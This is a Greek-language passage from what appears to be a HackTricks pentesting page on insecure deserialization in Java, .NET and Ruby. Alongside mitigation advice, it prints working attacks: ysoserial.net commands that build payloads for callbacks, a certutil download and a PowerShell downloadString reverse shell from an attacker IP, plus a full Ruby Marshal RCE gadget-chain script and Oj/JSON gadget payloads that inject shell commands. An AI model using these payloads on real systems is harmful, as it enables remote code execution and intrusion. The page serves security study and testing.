private transient double profit; // declared transient
private transient double margin; // declared transient

Αποφύγετε την σειριοποίηση μιας κλάσης που πρέπει να υλοποιεί το Serializable

Σε σενάρια όπου ορισμένα αντικείμενα πρέπει να υλοποιούν τη διεπαφή Serializable λόγω ιεραρχίας κλάσεων, υπάρχει κίνδυνος ακούσιας αποσειριοποίησης. Για να το αποτρέψετε αυτό, βεβαιωθείτε ότι αυτά τα αντικείμενα είναι μη αποσειριοποιήσιμα ορίζοντας μια final readObject() μέθοδο που ρίχνει πάντα μια εξαίρεση, όπως φαίνεται παρακάτω:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Ενίσχυση της Ασφάλειας Αποσυναρμολόγησης στην Java

Η προσαρμογή του java.io.ObjectInputStream είναι μια πρακτική προσέγγιση για την ασφάλιση των διαδικασιών αποσυναρμολόγησης. Αυτή η μέθοδος είναι κατάλληλη όταν:

  • Ο κώδικας αποσυναρμολόγησης είναι υπό τον έλεγχό σας.

  • Οι κλάσεις που αναμένονται για αποσυναρμολόγηση είναι γνωστές.

Αντικαταστήστε τη μέθοδο resolveClass() για να περιορίσετε την αποσυναρμολόγηση μόνο σε επιτρεπόμενες κλάσεις. Αυτό αποτρέπει την αποσυναρμολόγηση οποιασδήποτε κλάσης εκτός από αυτές που επιτρέπονται ρητά, όπως στο παρακάτω παράδειγμα που περιορίζει την αποσυναρμολόγηση μόνο στην κλάση Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Χρησιμοποιώντας έναν Java Agent για την Ενίσχυση της Ασφάλειας προσφέρει μια εναλλακτική λύση όταν η τροποποίηση του κώδικα δεν είναι δυνατή. Αυτή η μέθοδος εφαρμόζεται κυρίως για μαύρη λίστα επιβλαβών κλάσεων, χρησιμοποιώντας μια παράμετρο JVM:

-javaagent:name-of-agent.jar

Παρέχει έναν τρόπο για να ασφαλίσετε τη διαδικασία αποσυμπίεσης δυναμικά, ιδανικό για περιβάλλοντα όπου οι άμεσες αλλαγές κώδικα είναι μη πρακτικές.

Δείτε ένα παράδειγμα στο rO0 by Contrast Security

Εφαρμογή Φίλτρων Σειριοποίησης: Η Java 9 εισήγαγε φίλτρα σειριοποίησης μέσω της διεπαφής ObjectInputFilter, παρέχοντας έναν ισχυρό μηχανισμό για τον καθορισμό κριτηρίων που πρέπει να πληρούν τα σειριοποιημένα αντικείμενα πριν αποσυμπιεστούν. Αυτά τα φίλτρα μπορούν να εφαρμοστούν παγκοσμίως ή ανά ροή, προσφέροντας λεπτομερή έλεγχο στη διαδικασία αποσυμπίεσης.

Για να χρησιμοποιήσετε φίλτρα σειριοποίησης, μπορείτε να ορίσετε ένα παγκόσμιο φίλτρο που εφαρμόζεται σε όλες τις λειτουργίες αποσυμπίεσης ή να το ρυθμίσετε δυναμικά για συγκεκριμένες ροές. Για παράδειγμα:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Αξιοποίηση Εξωτερικών Βιβλιοθηκών για Βελτιωμένη Ασφάλεια: Βιβλιοθήκες όπως οι NotSoSerial, jdeserialize και Kryo προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της αποσυναρμολόγησης Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως η λευκή ή μαύρη λίστα κλάσεων, η ανάλυση σειριοποιημένων αντικειμένων πριν από την αποσυναρμολόγηση και η εφαρμογή προσαρμοσμένων στρατηγικών σειριοποίησης.

  • NotSoSerial παρεμβαίνει στις διαδικασίες αποσυναρμολόγησης για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα.

  • jdeserialize επιτρέπει την ανάλυση σειριοποιημένων αντικειμένων Java χωρίς να τα αποσυναρμολογεί, βοηθώντας στην αναγνώριση δυνητικά κακόβουλου περιεχομένου.

  • Kryo είναι ένα εναλλακτικό πλαίσιο σειριοποίησης που δίνει έμφαση στην ταχύτητα και την αποδοτικότητα, προσφέροντας ρυθμιζόμενες στρατηγικές σειριοποίησης που μπορούν να ενισχύσουν την ασφάλεια.

Αναφορές

JNDI Injection & log4Shell

Βρείτε τι είναι το JNDI Injection, πώς να το εκμεταλλευτείτε μέσω RMI, CORBA & LDAP και πώς να εκμεταλλευτείτε το log4shell (και ένα παράδειγμα αυτής της ευπάθειας) στην παρακάτω σελίδα:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

Η Java Message Service (JMS) API είναι μια Java API προσανατολισμένη σε μηνύματα για την αποστολή μηνυμάτων μεταξύ δύο ή περισσότερων πελατών. Είναι μια υλοποίηση για την αντιμετώπιση του προβλήματος παραγωγού-καταναλωτή. Η JMS είναι μέρος της Java Platform, Enterprise Edition (Java EE) και ορίστηκε από μια προδιαγραφή που αναπτύχθηκε από την Sun Microsystems, αλλά από τότε καθοδηγείται από τη διαδικασία της κοινότητας Java. Είναι ένα πρότυπο μηνυμάτων που επιτρέπει στα συστατικά εφαρμογών που βασίζονται σε Java EE να δημιουργούν, να στέλνουν, να λαμβάνουν και να διαβάζουν μηνύματα. Επιτρέπει την επικοινωνία μεταξύ διαφορετικών συστατικών μιας κατανεμημένης εφαρμογής να είναι χαλαρά συνδεδεμένη, αξιόπιστη και ασύγχρονη. (Από Wikipedia).

Προϊόντα

Υπάρχουν αρκετά προϊόντα που χρησιμοποιούν αυτό το middleware για να στέλνουν μηνύματα:

Εκμετάλλευση

Έτσι, βασικά υπάρχουν πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο. Επομένως, αν έχετε αρκετά προνόμια για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) θα μπορούσατε να στείλετε κακόβουλα αντικείμενα που θα σειριοποιηθούν και θα αποσυναρμολογηθούν από τον καταναλωτή/συνδρομητή. Αυτό σημαίνει ότι σε αυτή την εκμετάλλευση όλοι οι πελάτες που θα χρησιμοποιήσουν αυτό το μήνυμα θα μολυνθούν.

Πρέπει να θυμάστε ότι ακόμη και αν μια υπηρεσία είναι ευάλωτη (επειδή αποσυναρμολογεί ανασφαλώς την είσοδο του χρήστη) θα χρειαστεί να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια.

Το εργαλείο JMET δημιουργήθηκε για να συνδεθεί και να επιτεθεί σε αυτές τις υπηρεσίες στέλνοντας διάφορα κακόβουλα αντικείμενα που σειριοποιούνται χρησιμοποιώντας γνωστά gadgets. Αυτές οι εκμεταλλεύσεις θα λειτουργήσουν αν η υπηρεσία είναι ακόμα ευάλωτη και αν κάποιο από τα χρησιμοποιούμενα gadgets είναι μέσα στην ευάλωτη εφαρμογή.

Αναφορές

.Net

Στο πλαίσιο του .Net, οι εκμεταλλεύσεις αποσυναρμολόγησης λειτουργούν με τρόπο παρόμοιο με εκείνες που βρίσκονται στην Java, όπου τα gadgets εκμεταλλεύονται για να εκτελέσουν συγκεκριμένο κώδικα κατά την αποσυναρμολόγηση ενός αντικειμένου.

Αποτύπωμα

WhiteBox

Ο πηγαίος κώδικας θα πρέπει να ελεγχθεί για περιπτώσεις των:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

Η προσοχή θα πρέπει να εστιάζεται σε σειριοποιητές που επιτρέπουν τον προσδιορισμό του τύπου από μια μεταβλητή υπό τον έλεγχο του χρήστη.

BlackBox

Η αναζήτηση θα πρέπει να στοχεύει στη Base64 κωδικοποιημένη συμβολοσειρά AAEAAAD///// ή οποιοδήποτε παρόμοιο μοτίβο που μπορεί να υποστεί αποσυναρμολόγηση στην πλευρά του διακομιστή, παρέχοντας έλεγχο πάνω στον τύπο που θα αποσυναρμολογηθεί. Αυτό θα μπορούσε να περιλαμβάνει, αλλά δεν περιορίζεται σε, JSON ή XML δομές που περιλαμβάνουν TypeObject ή $type.

ysoserial.net

Σε αυτή την περίπτωση μπορείτε να χρησιμοποιήσετε το εργαλείο ysoserial.net προκειμένου να δημιουργήσετε τις εκμεταλλεύσεις αποσυναρμολόγησης. Αφού κατεβάσετε το git repository θα πρέπει να συγκεντρώσετε το εργαλείο χρησιμοποιώντας το Visual Studio για παράδειγμα.

Αν θέλετε να μάθετε για πώς δημιουργεί το ysoserial.net την εκμετάλλευσή του μπορείτε να ελέγξετε αυτή τη σελίδα όπου εξηγείται το gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter.

Οι κύριες επιλογές του ysoserial.net είναι: --gadget, --formatter, --output και --plugin.

  • --gadget χρησιμοποιείται για να υποδείξει το gadget που θα εκμεταλλευτεί (υποδείξτε την κλάση/συνάρτηση που θα εκμεταλλευτεί κατά την αποσυναρμολόγηση για να εκτελέσει εντολές).

  • --formatter, χρησιμοποιείται για να υποδείξει τη μέθοδο για τη σειριοποίηση της εκμετάλλευσης (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιεί το back-end για να αποσυναρμολογήσει το payload και να χρησιμοποιήσετε την ίδια για να το σειριοποιήσετε)

  • --output χρησιμοποιείται για να υποδείξει αν θέλετε την εκμετάλλευση σε raw ή base64 κωδικοποιημένη. Σημειώστε ότι το ysoserial.net θα κωδικοποιήσει το payload χρησιμοποιώντας UTF-16LE (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows) οπότε αν πάρετε το raw και το κωδικοποιήσετε απλά από μια κονσόλα linux μπορεί να έχετε κάποια προβλήματα συμβατότητας κωδικοποίησης που θα εμποδίσουν την εκμετάλλευση να λειτουργήσει σωστά (στην HTB JSON box το payload λειτούργησε και σε UTF-16LE και ASCII αλλά αυτό δεν σημαίνει ότι θα λειτουργεί πάντα).

  • --plugin το ysoserial.net υποστηρίζει plugins για τη δημιουργία εκμεταλλεύσεων για συγκεκριμένα πλαίσια όπως το ViewState

Περισσότερες παράμετροι ysoserial.net

  • --minify θα παρέχει ένα μικρότερο payload (αν είναι δυνατόν)

  • --raf -f Json.Net -c "anything" Αυτό θα υποδείξει όλα τα gadgets που μπορούν να χρησιμοποιηθούν με έναν παρεχόμενο formatter (Json.Net σε αυτή την περίπτωση)

  • --sf xml μπορείτε να υποδείξετε ένα gadget (-g) και το ysoserial.net θα αναζητήσει formatters που περιέχουν "xml" (χωρίς διάκριση πεζών-κεφαλαίων)

Παραδείγματα ysoserial για τη δημιουργία εκμεταλλεύσεων:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net έχει επίσης μια πολύ ενδιαφέρουσα παράμετρο που βοηθά να κατανοήσετε καλύτερα πώς λειτουργεί κάθε εκμετάλλευση: --test Αν υποδείξετε αυτή την παράμετρο, ysoserial.net θα δοκιμάσει την εκμετάλλευση τοπικά, ώστε να μπορείτε να ελέγξετε αν το payload σας θα λειτουργήσει σωστά. Αυτή η παράμετρος είναι χρήσιμη γιατί αν αναθεωρήσετε τον κώδικα θα βρείτε κομμάτια κώδικα όπως το παρακάτω (από ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Αυτό σημαίνει ότι προκειμένου να δοκιμαστεί η εκμετάλλευση, ο κώδικας θα καλέσει serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the προηγούμενος κώδικας είναι ευάλωτος στην εκμετάλλευση που δημιουργήθηκε. Έτσι, αν βρείτε κάτι παρόμοιο σε μια εφαρμογή .Net, σημαίνει ότι πιθανώς αυτή η εφαρμογή είναι επίσης ευάλωτη. Επομένως, η --test παράμετρος μας επιτρέπει να κατανοήσουμε ποια κομμάτια κώδικα είναι ευάλωτα στην εκμετάλλευση της αποσειριοποίησης που μπορεί να δημιουργήσει το ysoserial.net.

ViewState

Ρίξτε μια ματιά σε αυτή την POST σχετικά με το πώς να προσπαθήσετε να εκμεταλλευτείτε την παράμετρο __ViewState του .Net για να εκτελέσετε αυθαίρετο κώδικα. Αν γνωρίζετε ήδη τα μυστικά που χρησιμοποιούνται από τη μηχανή του θύματος, διαβάστε αυτή την ανάρτηση για να μάθετε πώς να εκτελέσετε κώδικα.

Prevention

Για να μετριάσετε τους κινδύνους που σχετίζονται με την αποσειριοποίηση στο .Net:

  • Αποφύγετε να επιτρέπετε στις ροές δεδομένων να ορίζουν τους τύπους αντικειμένων τους. Χρησιμοποιήστε DataContractSerializer ή XmlSerializer όταν είναι δυνατόν.

  • Για το JSON.Net, ορίστε το TypeNameHandling σε None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Αποφύγετε τη χρήση του JavaScriptSerializer με έναν JavaScriptTypeResolver.

  • Περιορίστε τους τύπους που μπορούν να αποσειριοποιηθούν, κατανοώντας τους εγγενείς κινδύνους με τους τύπους .Net, όπως το System.IO.FileInfo, το οποίο μπορεί να τροποποιήσει τις ιδιότητες των αρχείων του διακομιστή, ενδεχομένως οδηγώντας σε επιθέσεις άρνησης υπηρεσίας.

  • Να είστε προσεκτικοί με τους τύπους που έχουν επικίνδυνες ιδιότητες, όπως το System.ComponentModel.DataAnnotations.ValidationException με την ιδιότητα Value, η οποία μπορεί να εκμεταλλευτεί.

  • Ελέγξτε με ασφάλεια την αρχικοποίηση τύπων για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία αποσειριοποίησης, καθιστώντας ακόμη και το DataContractSerializer ή το XmlSerializer ευάλωτα.

  • Εφαρμόστε ελέγχους λευκής λίστας χρησιμοποιώντας έναν προσαρμοσμένο SerializationBinder για το BinaryFormatter και το JSON.Net.

  • Μείνετε ενημερωμένοι σχετικά με γνωστά ανασφαλή εργαλεία αποσειριοποίησης εντός του .Net και διασφαλίστε ότι οι αποσειριοποιητές δεν δημιουργούν τέτοιους τύπους.

  • Απομονώστε τον δυνητικά επικίνδυνο κώδικα από τον κώδικα με πρόσβαση στο διαδίκτυο για να αποφύγετε την έκθεση γνωστών εργαλείων, όπως το System.Windows.Data.ObjectDataProvider σε εφαρμογές WPF, σε μη αξιόπιστες πηγές δεδομένων.

References

Ruby

Στην Ruby, η αποσειριοποίηση διευκολύνεται από δύο μεθόδους μέσα στη βιβλιοθήκη marshal. Η πρώτη μέθοδος, γνωστή ως dump, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε ροή byte. Αυτή η διαδικασία αναφέρεται ως αποσειριοποίηση. Αντίθετα, η δεύτερη μέθοδος, load, χρησιμοποιείται για να επαναφέρει μια ροή byte πίσω σε ένα αντικείμενο, μια διαδικασία που ονομάζεται αποσειριοποίηση.

Για την ασφάλεια των αποσειριοποιημένων αντικειμένων, η Ruby χρησιμοποιεί HMAC (Hash-Based Message Authentication Code), διασφαλίζοντας την ακεραιότητα και την αυθεντικότητα των δεδομένων. Το κλειδί που χρησιμοποιείται για αυτό το σκοπό αποθηκεύεται σε μία από πολλές πιθανές τοποθεσίες:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Ruby 2.X γενική αποσειριοποίηση σε αλυσίδα gadget RCE (περισσότερες πληροφορίες στο https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Άλλες αλυσίδες RCE για εκμετάλλευση του Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Μέθοδος Ruby .send()

Όπως εξηγείται σε αυτή την αναφορά ευπάθειας, αν κάποια μη φιλτραρισμένη είσοδος χρήστη φτάσει στη μέθοδο .send() ενός αντικειμένου ruby, αυτή η μέθοδος επιτρέπει να καλέσετε οποιαδήποτε άλλη μέθοδο του αντικειμένου με οποιαδήποτε παραμέτρους.

Για παράδειγμα, η κλήση eval και στη συνέχεια κώδικα ruby ως δεύτερη παράμετρος θα επιτρέψει την εκτέλεση αυθαίρετου κώδικα:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Επιπλέον, αν μόνο μία παράμετρος της .send() ελέγχεται από έναν επιτιθέμενο, όπως αναφέρθηκε στην προηγούμενη περιγραφή, είναι δυνατόν να κληθεί οποιαδήποτε μέθοδος του αντικειμένου που δεν χρειάζεται παραμέτρους ή των οποίων οι παράμετροι έχουν προεπιλεγμένες τιμές. Για αυτό, είναι δυνατόν να απαριθμηθούν όλες οι μέθοδοι του αντικειμένου για να βρεθούν κάποιες ενδιαφέρουσες μέθοδοι που πληρούν αυτές τις απαιτήσεις.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Άλλες βιβλιοθήκες

Αυτή η τεχνική ελήφθη από αυτήν την ανάρτηση στο blog.

Υπάρχουν άλλες βιβλιοθήκες Ruby που μπορούν να χρησιμοποιηθούν για την σειριοποίηση αντικειμένων και επομένως θα μπορούσαν να καταχραστούν για να αποκτήσουν RCE κατά τη διάρκεια μιας ανασφαλούς αποσειριοποίησης. Ο παρακάτω πίνακας δείχνει μερικές από αυτές τις βιβλιοθήκες και τη μέθοδο που καλούν από τη φορτωμένη βιβλιοθήκη όποτε αποσειριοποιούνται (λειτουργία προς κατάχρηση για να αποκτήσετε RCE βασικά):

Βιβλιοθήκη

Δεδομένα εισόδου

Μέθοδος εκκίνησης μέσα στην κλάση

Marshal (Ruby)

Δυαδικά

_load

Oj

JSON

hash (η κλάση πρέπει να τοποθετηθεί σε hash(map) ως κλειδί)

Ox

XML

hash (η κλάση πρέπει να τοποθετηθεί σε hash(map) ως κλειδί)

Psych (Ruby)

YAML

hash (η κλάση πρέπει να τοποθετηθεί σε hash(map) ως κλειδί) init_with

JSON (Ruby)

JSON

json_create ([δείτε σημειώσεις σχετικά με json_create στο τέλος](#table-vulnerable-sinks))

Βασικό παράδειγμα:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Στην περίπτωση που προσπαθήσαμε να εκμεταλλευτούμε το Oj, ήταν δυνατό να βρούμε μια κλάση gadget που μέσα στη συνάρτηση hash της θα καλούσε το to_s, το οποίο θα καλούσε το spec, το οποίο θα καλούσε το fetch_path, το οποίο ήταν δυνατό να το κάνουμε να ανακτήσει μια τυχαία διεύθυνση URL, παρέχοντας έναν εξαιρετικό ανιχνευτή αυτού του είδους των μη καθαρισμένων ευπαθειών αποσυμπίεσης.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
}

Επιπλέον, διαπιστώθηκε ότι με την προηγούμενη τεχνική δημιουργείται επίσης ένας φάκελος στο σύστημα, ο οποίος είναι απαραίτητος για την κατάχρηση μιας άλλης συσκευής προκειμένου να μετατραπεί αυτό σε πλήρη RCE με κάτι σαν:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Ελέγξτε για περισσότερες λεπτομέρειες στην πρωτότυπη ανάρτηση.

Υποστήριξη HackTricks

Last updated